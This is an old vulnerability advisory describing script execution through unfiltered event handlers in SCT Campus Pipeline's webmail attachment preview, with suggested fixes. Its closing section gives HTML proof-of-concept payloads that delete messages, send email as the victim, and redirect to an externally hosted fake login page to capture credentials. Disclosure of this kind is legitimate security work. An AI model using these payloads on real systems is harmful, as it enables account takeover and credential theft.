Risk : javascript execution
Description: SCT Campus Pipeline is the Web platform of choice at over
175 institutions. It improves efficiency, builds community, and
provides freedom of choice by integrating disparate systems and
applications into a unified whole. SCT Campus Pipeline provides an
institution’s constituents – students, faculty, administration, and
alumni – with centralized Web access to information, services, and
communities.
Javascript Execution: The email handling portion of this software
displays certain attachments such as; html, bmp. Jpg, gif, etc, in the
body of the email. It does a noble job of filtering scripting in html
files but certain on event handles remain untouched such as: onload(),
onmouseover(), onclick(), etc. This is a huge issue seeing as the html
page is logged in with the same permissions as the user who views it.
The software also uses javascript functions for all of its commands.
This allows an hmlt page execute any command such as deletemessage()
from <body onload=”deletemessage()”> . This such instance will delete
the email with that html attached to it. When linked to another page
with <body onload=”location.replace(‘site’)”> u can execute as much
javascript, or any other scripting method as you would like. This hole
leads to an attached html having full control over the victims email
account just by the victim viewing the email. Because the attacker
would have the users session still set, he could potentially execute
any command this software uses, such as check grades etc…
Solution: The easiest way would be to just disallow previewing of
attachments. No other web email service allows this, and for good
reason. Another solution would be to filter all onevent handles such
as onload(), onmouseover(), onclick(), etc.
Credits: Credits goto http://hackthissite.org. It provided a nice,
open, legal environment for me to try new things and learn from those
who know. A place where you are not reprimanded even if u deface a
page or two. A place where I started with no knowledge and in less
than a year found new vulnerabilities of my own. Thank you
http://hackthissite.org. Lab rats: Ashley, Amy, Nick, Shrinidhi,
Charbel and most importantly to Halley, you give me the strength and
courage to do all that I do, without you I am nothing. Thank you
sweetheart.
Exploit: This exemplifies three different onevent handles used:
<html>
<body onload="alert('load')">
<img src="http://www.hackthissite.org/avatars/hts.jpg";
onmouseover="alert('mouse')">;
<img src="http://www.hackthissite.org/avatars/hts.jpg";
onclick="alert('clicked')">;
</body>
</html>
This exploit will delete the current message:
<html><body onload=”deleteMessage()”></body><html>
This exploit will open a new email message with your desired:
<html><body
onload="location.replace('http://website.com/cp/email/composeBody?function=new&to=Spiffomatic64@xxxxxxxxxxx&subject=I
love you matt&body=I was owned by matt')"></body></html>
Creating a fake session timeout screen with login could also be a
problem as shown here:
<html><body
onload="location.replace('http://hackthissite.org/userfiles/spiffomatic64/logoutpage.html')"></body></html>
